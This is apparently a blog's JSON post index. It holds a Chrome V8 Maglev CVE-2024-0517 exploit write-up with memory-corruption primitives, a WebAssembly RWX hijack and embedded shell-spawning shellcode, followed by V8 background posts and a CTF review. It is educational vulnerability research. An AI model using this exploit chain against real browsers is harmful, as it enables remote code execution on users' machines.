../../src/objects/free-space-inl.h, line 75# Check failed: !heap-&gt;deserialization_complete() || map_slot().contains_map_value(free_space_map.ptr()).####FailureMessage Object: 0x7ffe9d485188==== C stack trace =============================== ./debug/d8(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x5b9ae47a7fde] ./debug/d8(+0x8c0960d) [0x5b9ae47a260d] ./debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1ac) [0x5b9ae477853c] ./debug/d8(v8::internal::FreeSpace::IsValid() const+0xdf) [0x5b9ae0e79e1f] ./debug/d8(v8::internal::FreeSpace::next() const+0x1d) [0x5b9ae0e789dd][truncated]Let’s check what overwrote this free space.Maglev optimized the code as shown below. [1] indicates new.target(), [2] indicates the allocation of the x array, and [3] indicates the allocation of the this object and array a through the super() function.From this, we can observe that the allocation of array a is always placed at an address 20 bytes higher than the this object.Next, we will trigger garbage collection between the allocations of the this object and array a. Although a should be allocated in the Young Space, it gets placed under the this object in the Old Space due to garbage collection. This code causes the array a to overwrite the free space, which then gets detected and triggers a fatal error.//add option --print-maglev-graph : ./debug/d8 --allow-natives-syntax --print-maglev-graph ./code/exploit.js[truncated][1] 5 : Construct r0, r0-r0, [0] ↱ eager @5 (8 live vars) 44/11: CheckValue(0x03a40011c4f5 &lt;JSFunction ClassParent (sfi = 0x3a40011b095)&gt;) [v41/n8:[rdx|R|t]] 45/15: AllocateRaw(Young, 20) → [rdi|R|t], live range: [45-50] 46/16: StoreMap(0x03a4001222fd &lt;Map[20](HOLEY_ELEMENTS)&gt;) [v45/n15:[rdi|R|t]] 152: ConstantGapMove(v14/n14 → [rax|R|t]) 47/17: StoreTaggedFieldNoWriteBarrier(0x4) [v45/n15:[rdi|R|t], v14/n14:[rax|R|t]] 48/18: StoreTaggedFieldNoWriteBarrier(0x8) [v45/n15:[rdi|R|t], v14/n14:[rax|R|t]] 153: ConstantGapMove(v11/n13 → [rcx|R|t]) 49/19: StoreTaggedFieldNoWriteBarrier(0xc) [v45/n15:[rdi|R|t], v11/n13:[rcx|R|t]] 50/20: StoreTaggedFieldNoWriteBarrier(0x10) [v45/n15:[rdi|R|t], v11/n13:[rcx|R|t]][truncated][2] 11 : CreateArrayLiteral [0], [2], #37 52/24: AllocateRaw(Young, 56) → [rdi|R|t], live range: [52-67] 53/25: StoreMap(0x03a400000565 &lt;Map(FIXED_ARRAY_TYPE)&gt;) [v52/n24:[rdi|R|t]] 154: ConstantGapMove(v24/n26 → [rbx|R|t]) 54/27: StoreTaggedFieldNoWriteBarrier(0x4) [v52/n24:[rdi|R|t], v24/n26:[rbx|R|t]] 155: ConstantGapMove(v16/n23 → [r11|R|t])[truncated] 63/36: FoldedAllocation(+40) [v52/n24:[rdi|R|t]] → [rsi|R|t] (spilled: [stack:1|t]), live range: [63-137] 156: GapMove([rdi|R|t] → [r8|R|t]) 157: GapMove([rsi|R|t] → [rdi|R|t]) 64/37: StoreMap(0x03a40010eea5 &lt;Map[16](PACKED_ELEMENTS)&gt;) [v63/n36:[rdi|R|t]] 65/38: StoreTaggedFieldNoWriteBarrier(0x4) [v63/n36:[rsi|R|t], v14/n14:[rax|R|t]][truncated][3] 108 : FindNonDefaultConstructorOrConstruct &lt;closure&gt;, r0, r8-r9 100/90: AllocateRaw(Young, 52) → [rdi|R|t] (spilled: [stack:3|t]), live range: [100-145] 101/91: StoreMap(0x03a4001222fd &lt;Map[20](HOLEY_ELEMENTS)&gt;) [v100/n90:[rdi|R|t]] 102/92: StoreTaggedFieldNoWriteBarrier(0x4) [v100/n90:[rdi|R|t], v14/n14:[rax|R|t]][truncated] 127/129: FoldedAllocation(+20) [v100/n90:[rdi|R|t]] → [rcx|R|t], live range: [127-135] 195: GapMove([rcx|R|t] → [rdi|R|t]) 128/130: StoreMap(0x03a400000829 &lt;Map(FIXED_DOUBLE_ARRAY_TYPE)&gt;) [v127/n129:[rdi|R|t]] 196: ConstantGapMove(v17/n47 → [rdx|R|t]) 129/131: StoreTaggedFieldNoWriteBarrier(0x4) [v127/n129:[rcx|R|t], v17/n47:[rdx|R|t]] 197: ConstantGapMove(v36/n132 → [xmm0|R|f64]) 130/133: StoreFloat64(0x8) [v127/n129:[rcx|R|t], v36/n132:[xmm0|R|f64]] 198: GapMove([stack:3|t] → [rbx|R|t]) 131/134: FoldedAllocation(+36) [v100/n90:[rbx|R|t]] → [r8|R|t], live range: [131-139] 199: GapMove([r8|R|t] → [rdi|R|t]) 132/135: StoreMap(0x03a40010ee25 &lt;Map[16](PACKED_DOUBLE_ELEMENTS)&gt;) [v131/n134:[rdi|R|t]]Source Code AnalysisThe vulnerability is found within the optimization flow when the child constructor is called through the VisitFindNonDefaultConstructorOrConstruct() function.void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() { ValueNode* this_function = LoadRegisterTagged(0); ValueNode* new_target = LoadRegisterTagged(1); auto register_pair = iterator_.GetRegisterPairOperand(2); //[1] if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) { return; }//[2] CallBuiltin* result = BuildCallBuiltin&lt;Builtin::kFindNonDefaultConstructorOrConstruct&gt;( {this_function, new_target}); StoreRegisterPair(register_pair, result);}This function is executed by Maglev when Ignition generates an instruction called FindNonDefaultConstructorOrConstruct for optimization purposes.At step 1, Maglev runs the TryBuildFindNonDefaultConstructorOrConstruct() function with the received value. If this function optimizes successfully, it returns a value; if it fails, the flow continues to step 2. Step 2 instructs Ignition to implement the opcode for the instruction again.The TryBuildFindNonDefaultConstructorOrConstruct() function calls BuildAllocateFastObject() to allocate objects.This function merely allocates objects and internally calls the ExtendOrReallocateCurrentRawAllocation() function to determine whether allocation folding should occur using the current_raw_allocation pointer.Once the allocation is complete, the pointer should be initialized, but there is no part to initialize it. Consequently, during the next allocation, an unintended allocation folding occurs due to the uninitialized current_raw_allocation pointer (i.e., the array a is allocated at the wrong place), leading to an OOB write.ExploitTriggering the VulnerabilityIn the vulnerability analysis section, we confirmed that an OOB write occurred.Full-exploit code is here. When the vulnerability is triggered, the result shown in the above picture appears. Now, arrays x and a share the same memory location. This will cause type confusion between objects, allowing us to implement primitives for exploitation. Afterward, we will use these primitives along with WebAssembly to perform the exploit.Type ConfusionType confusion occurs when memory at the same location is used by two objects of different types. Currently, the x array and the a array are sharing memory at the same location.The x array stores objects and is of the packed_elements type, while the a array stores floats and is of the packed_double_elements type.Let’s explore what happens when the types differ with an example.Suppose we insert an object, say “test”, into index 0 of the x array. The x array stores either objects or integers, but since we are dealing with empty objects, it stores an object. When storing an object, the address of the test object is written to the elements.On the other hand, the a array reads data as 8-byte floats. If it reads the memory at the same location, it will interpret the data as a floating-point value of type double, which spans 8 bytes. Since this memory was originally holding the address of the test object, part of the 8 bytes will represent that address.Implementing PrimitivesInitial Addrof PrimitiveThis primitive allows the attacker to leak the address of a JavaScript object.When the exploit is triggered, as explained in the type confusion section, the following two arrays overlap: The elements backing buffer of the x object The metadata and backing buffer of the a arrayThus, we can write data as an object into the x array’s elements and access it via the a array, reading it as a double.Key JS code for this primitive:function addrof_tmp(obj) { corrupted_instance.x[0] = obj; f64[0] = corrupted_instance.a[8]; return u32[0];}A key point to note here is that the V8 heap compresses all object pointers to 32-bit values. Therefore, this function reads a pointer as a 64-bit floating-point value and extracts only 32 bits, which contains the address itself.Initial Write PrimitiveOnce the length of the array is overwritten, out-of-bounds (OOB) read/write becomes possible.This is because overwriting the length doesn’t immediately change the array, but it allows us to insert values at any index.Therefore, we create another array, let rwarr = [1.1, 2.2, 2.2], and by finding the offset from the start of the a array to the metadata of the rwarr array, we can overwrite it with the desired value.The corresponding code is as follows://code for considering only the case : addr_rwarr &gt; addr_aif (addr_rwarr &lt; addr_a) { console.error(\"Failed\");}//calc offsetlet offset = (addr_rwarr - addr_a) + 0xc;if ( (offset % 8) != 0 ) { offset += 4;}offset = offset / 8;offset += 1; //our a array has one of 1.1offset -= 1;let marker42_idx = offset;console.log(marker42_idx);//declare and assignlet b64 = new BigUint64Array(buffer);let zero = 0n;//write primitivefunction v8h_write64(where, what) { b64[0] = zero; f64[0] = a[marker42_idx]; if (u32[1] == 0x6) { u32[0] = where-8; a[marker42_idx] = f64[0]; } else { u32[1] = where-8; a[marker42_idx] = f64[0]; } rwarr[0] = what;}GC ResistanceWhile executing our JavaScript code, if the Young Space becomes full, Garbage Collection may be triggered. When that happens, the positions of the objects may change, causing the primitives we created using offsets to stop working. To prevent this, we implement primitives that persist even after Garbage Collection by creating three new objects and linking them together.The following code ensures that the Changer’s elements point to the Leaker object, and the Leaker’s elements point to the Holder object. Then, the x array, a array, and rwarr array have their length set to 0 for initialization. By initializing the arrays, we prevent the Garbage Collector from detecting the corrupted objects.//create 3 objectslet changer = [1.1,2.2,3.3,4.4,5.5,6.6]let leaker = [1.1,2.2,3.3,4.4,5.5,6.6]let holder = {p1: 0x1234, p2: 0x1234, p3: 0x1234};//get addr of objectslet changer_addr = addrof_tmp(changer);let leaker_addr = addrof_tmp(leaker);let holder_addr = addrof_tmp(holder);//corrupt that objectsu32[0] = holder_addr;u32[1] = 0xc;let original_leaker_bytes = f64[0];u32[0] = leaker_addr;u32[1] = 0xc;v8h_write64(changer_addr+0x8, f64[0]);v8h_write64(leaker_addr+0x8, original_leaker_bytes);//fix the corruption to the objects in Old Spacex.length = 0;a.length = 0;rwarr.length = 0;Now, let’s briefly explain how these three objects work.Since the Changer object’s elements pointer was changed to point to the Leaker object, accessing the Changer’s elements array will lead to the Leaker object.Therefore, Changer[0] will not be 1.1, but rather correspond to the leaker_obj_addr + size value. Similarly, Leaker[0] will not be 1.1, but will instead point to the Holder object’s elements plus in-object property 1.Final Heap Read/Write PrimitiveThis primitive functions similarly to the initial one, but is now implemented using the objects we created to be resistant to Garbage Collection.In the v8h_read64 function, we change the Changer’s index 0 to point to the Leaker’s elements, allowing us to read the data at that location.The v8h_write function is an extended version of the read function, allowing us to write data to that location as well.function v8h_read64(addr) { original_leaker_bytes = changer[0]; u32[0] = Number(addr)-8; u32[1] = 0xc; changer[0] = f64[0]; let ret = leaker[0]; changer[0] = original_leaker_bytes; return f2i(ret);}function v8h_write(addr, value) { original_leaker_bytes = changer[0]; u32[0] = Number(addr)-8; u32[1] = 0xc; changer[0] = f64[0]; f64[0] = leaker[0]; u32[0] = Number(value); leaker[0] = f64[0]; changer[0] = original_leaker_bytes;}Final Addrof PrimitiveThis primitive is used to obtain the address of an object, just like the previous addrof primitive.The earlier primitive achieved this by causing type confusion between the x and a arrays.However, since we have now initialized these arrays and are no longer using them (to avoid detection by the garbage collector), we use the newly created Changer, Leaker, and Holder objects to implement the addrof primitive.function addrof(obj) { holder.p2 = obj; let ret = leaker[1]; holder.p2 = 0; return f2i(ret) &amp; 0xffffffffn;}ExploitWith all the primitives implemented, we can now use them to bypass V8’s sandbox mitigation (ubercage).To bypass the sandbox, we will use WebAssembly.The reason for using WebAssembly is that to execute shellcode, we need to move the pointer to an area with execution permissions. Such areas exist in optimized code sections but also in the RWX (read-write-execute) region created when a WebAssembly instance is generated. By overwriting the pointer that points to the RWX region within this WasmInstance, we can redirect the execution flow to the location of our shellcode.Note: This exploit method was used before updates were made to the sandbox. Currently, WasmInstances no longer store pointers to RWX regions, so a new exploit method must be devised. Additionally, the offsets of the various addresses vary depending on the version of V8, so those must be determined through analysis.To carry out the exploit, two WasmInstances are created. One will store the shellcode, while the other will have its RWX pointer overwritten to point to the shellcode’s location. Once this is done, executing a function from the latter instance will redirect execution to the manipulated RWX pointer, causing the shellcode to run.let shell_wasm_code = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11 ]);let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);let shell_func = shell_wasm_instance.exports.main;shell_func();let shell_wasm_instance_addr = addrof(shell_wasm_instance);let shell_wasm_rwx_addr = v8h_read64(shell_wasm_instance_addr + 0x48n);let shell_func_code_addr = shell_wasm_rwx_addr + 0xB40n;let shell_code_addr = shell_func_code_addr + 0x2Dn;const tbl = new WebAssembly.Table({ initial: 2, element: \"anyfunc\"});const importObject = { imports: { imported_func : (n) =&gt; n + 1, }, js: { tbl }};var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,15,3,96,1,124,1,124,96,2,124,124,0,96,0,1,125,2,36,2,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,0,2,106,115,3,116,98,108,1,112,0,2,3,3,2,1,0,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,31,2,22,0,68,144,144,144,144,72,137,16,195,68,204,204,204,204,204,204,233,67,26,26,11,6,0,32,0,16,0,11]);let wasmModule = new WebAssembly.Module(wasmCode);let wasmInstance = new WebAssembly.Instance(wasmModule, importObject);let wasmInstance_addr = addrof(wasmInstance);let RWX_page_pointer = v8h_read64(wasmInstance_addr+0x48n);let func_make_array = wasmInstance.exports.make_array;let func_main = wasmInstance.exports.main;wasm_write(wasmInstance_addr+0x48n, shell_code_addr);func_main();ReferenceCW blog - CVE-2024-0517Exodus blog - CVE-2024-0517V8 git 12.0.267.15"
    } ,
  
    {
      "title"       : " Fundamental Knowledge of JavaScript (JS object structure, Allocation folding, TypedArray)",
      "category"    : "prior knowledge",
      "tags"        : "prior knowledge, JS object structure, Allocation Folding, TypedArray",
      "url"         : "./Fundamental-knowledge-js.html",
      "date"        : "2024-09-26 00:00:00 +0000",
      "description" : "Before explaining the V8 exploit, I would like to briefly introduce some prior knowledge you need to understand, including JS object structure , Allocation Folding , TypedArray.",
      "content"     : "The following content was originally written for our team blog.At the time, I didn’t have a personal GitHub blog, so I’m posting it now after setting one up.This research was not conducted alone but was a joint effort between two people.To gain more experience, I plan to redo the entire process by myself from the beginning and will add any new insights I discover along the way.[JavaScript] Background Knowledge - Java Object Structure, Allocation FoldingJS object structure A JavaScript object is a data structure composed of key-value pairs. The V8 engine handles metadata and actual data differently depending on the structure and properties of the object.MapThe value in the first field is the map, also known as the hidden class. The hidden class contains metadata about the property names, types, and the position of each property within the object.Let’s take a closer look at hidden classes. When an object is created, a map (or hidden class) is generated. Each time new properties are added to the object, a new map is also created.Additionally, the map (hidden class) points to both the previous map and the next map, allowing it to navigate to either one. You can see that it’s structured this way.If you have any further questions or want to learn more, please refer to the provided references.PropertiesThe second field is the Properties, which are composed of key-value pairs.For example, it would look like this.let person = { name: \"John\", age: 30, isEmployed: true};If a person object is defined like this, for example:name → Property, john → Valueage → Property, 30 → ValueisEmployed → Property, true → ValueElementsThe third field is the Elements. This refers to the space where the array elements of a JavaScript object are stored.Unlike regular objects, array objects store data using sequential numeric indices.Elements are responsible for storing and managing these array elements.In-Object PropertiesThe fourth field, in-Object Properties, refers to properties that are stored directly within the object itself.They are used for fast access, but if the number of properties exceeds a certain limit, they can no longer be used.To help with understanding, I’ve brought in the Debugprint of the x object and the a array, which we’ll use later in the PoC (Proof of Concept).It might be helpful to compare this with the information provided above. (a Array’s DebugPrint) (x object’s DebugPrint)Allocation foldingAllocation Folding is a memory allocation technique that reduces unnecessary allocation attempts by allocating memory in bulk, rather than making multiple allocations. For example, when allocating object of Class B and Array a, as shown in the diagram, each would be allocated to memory once, resulting in a total of two allocations. However, if the allocation folding technique is used, the combined size of Class B and Array a (size(x+y)) is allocated as a single block of memory, which is then shared by both Array a and Class B.JS ArrayTypedArray is a JavaScript object provided to handle arrays of a specific type.In other words, all elements in the array have the same data type (e.g., int8, Uint8, int16, etc.). (TypedArray Types)The reason for using TypedArray is that, since all elements have the same type, they have a fixed size, which makes them advantageous for performance optimization.Starting with Packed Array:it is an array where all elements are defined in a contiguous block of memory, with no gaps between the elements.Additionally, there are concepts like Packed Array and Holey Array.I’ll explain Packed Array firstly. It is an array in which all elements are defined sequentially, without any gaps.This means that every index in the array is fully occupied.This type of array is stored contiguously in memory, which allows for faster access speeds.Next is the Holey Array. In this type of array, there are undefined elements in the middle (e.g., undefined or certain indices without values).In this case, the array is stored non-contiguously in memory, which leads to reduced performance.To illustrate with code:let array = [0,1,2]; array[3] = 3.1array[3] = 4array[4] = \"five\"array[6] = 6The first line refers to PACKED_SMI_ELEMENTS. Here, “Smi” stands for “Small Integer,” an internal data type in the V8 engine representing small integers of 31-bit (on x32) or 63-bit (on x64) size. The array is labeled as “PACKED” because all its elements are fully populated.The second line also refers to a “PACKED” array, but it’s labeled as PACKED_DOUBLE_ELEMENTS. Originally, only SMIs were present, but since a float value has been added, both Smi and Float now coexist within the same array.The third line is still labeled as PACKED_DOUBLE_ELEMENTS. This is because, even if the last element becomes an SMI value again, the array doesn’t revert to PACKED_SMI_ELEMENTS. Once an array’s type has changed, it doesn’t go back to its previous state.That’s why it remains PACKED_DOUBLE_ELEMENTS.The fourth line is labeled as PACKED_ELEMENTS. Although the indices are still fully occupied, the DOUBLE designation disappears because there are now three or more different types of elements in the array.The fifth line is labeled as HOLEY_ELEMENTS. This is because index 6 was added suddenly, but the previous index, array[5], doesn’t have a value. As a result, a gap was created, making the array “holey.”This will be important later when we analyze exploits, so it’s a good idea to keep this in mind.ReferenceJs Object Structure: https://devkly.com/nodejs/javascript-array/V8 Hiddenclass : https://v8.dev/docs/hidden-classesv8 TypedArray:https://v8docs.nodesource.com/node-7.10/d5/dbb/classv8_1_1_typed_array.html"
    } ,
  
    {
      "title"       : "Fundamental Knowledge of V8 engine (V8, Pipeline, Garbage collection, Ubercage)",
      "category"    : "prior knowledge",
      "tags"        : "V8, prior knowledge, pipeline, Garbage collection, Ubercage",
      "url"         : "./Fundamental-Knowledge-V8.html",
      "date"        : "2024-09-25 00:00:00 +0000",
      "description" : "Before explaining the V8 exploit, I would like to briefly introduce some prior knowledge you need to understand, including V8, Pipeline, Garbage Collection, and Ubercage.",
      "content"     : "The following content was originally written for our team blog.At the time, I didn’t have a personal GitHub blog, so I’m posting it now after setting one up.This research was not conducted alone but was a joint effort between two people.To gain more experience, I plan to redo the entire process by myself from the beginning and will add any new insights I discover along the way.What is V8?Chrome V8 is an open-source JavaScript engine used in the Google Chrome web browser and the Node.js server environment.V8 is designed to efficiently execute JavaScript code, aiming for fast performance and optimization.Here is a table showing the global web browser market share, and as of December 2023, we can see that the Chrome browser holds a staggering 64.7% share.The engine used by the Chrome browser, which I’m currently introducing, is the V8 engine. Source: Browser Market Share WorldwideIt seems Chrome might need to make more of an effort so that searches for ‘V8 engine’ immediately bring up the Chrome V8 engine instead.V8 Engine Components (Pipeline)The V8 engine is composed of various components. To make it easier to understand, I have attached two images below.The components of V8 are as follows: Parser Ignition Sparkplug Maglev TurboFan Source: V8_pipeline Source: Pipeline with MaglevI will briefly explain each component. Parser: Converts the JavaScript source code to an AST (Abstract Syntax Tree) structure. You can view it easily through the site below: AST Explorer Ignition: As V8’s interpreter, Ignition converts the parsed AST structure into bytecode.It compiles and generates bytecode directly without first compiling the code into machine code, which allows it to be extremely fast.Ignition also collects profiling information for later optimization. This image shows a portion of the bytecode: Based on the profiling information collected by Ignition, V8 determines the level of optimization needed using a JIT compiler. There are three types of compilers involved in this process: Sparkplug: A JIT compiler that performs fast and simple optimizations. Maglev: A JIT compiler that performs mid-tier optimizations by analyzing the source code. TurboFan: V8’s most powerful optimizing JIT compiler, which conducts dynamic analysis followed by optimization and compilation.Initially, only Ignition and TurboFan were used, but due to a gap in performance, Sparkplug was developed. Later, Maglev was added to fill the gap between Sparkplug and TurboFan.Garbage Collection of V8V8’s Garbage Collection differs from Java’s in some ways, though the core concepts are similar.V8’s heap is divided into regions like the Young space and Old space, and each manages memory differently.Young SpaceThe Young space manages newly created objects. Memory here is managed using Scavenging, also known as Minor GC.Old SpaceThe Old space holds objects that have survived in the Young space for a long time. It uses the Mark-Sweep and Mark-Compact methods for memory management, collectively referred to as Major GC.For a more detailed explanation, check out the following link:Memory Management in V8V8 Sandbox (a.k.a. Ubercage)V8 has a protection mechanism called the Sandbox, which prevents successful exploits by isolating objects that could be used for exploitation.Rather than storing direct addresses of objects, V8 stores indices of tables to protect against exploits.References Data and Object in V8 Abstract of Maglev Explanation about Garbage Collection in Korean"
    } ,
  
    {
      "title"       : "A Short Review of 2024 Patriot CTF",
      "category"    : "review",
      "tags"        : "CTF",
      "url"         : "./Patriot-CTF.html",
      "date"        : "2024-09-24 00:00:00 +0000",
      "description" : "My Thoughts on the Patriot CTF",
      "content"     : "While browsing the CTFtime website, I decided to participate in the Patriot CTF. To be honest, I didn’t have much confidence since the previous CTF challenges I attempted were quite difficult, and I struggled to solve them.However, after starting the Patriot CTF, my perspective changed.The problems were not as hard as I expected, and I was able to challenge myself.There was a wider variety of problems than I thought, making it more enjoyable, and it turned out to be a great experience for someone like me who has just started studying. Although I didn’t make it into the top 100 this time, I will work harder and prepare better so I can rank within the top 100 next time."
    } 
  
]
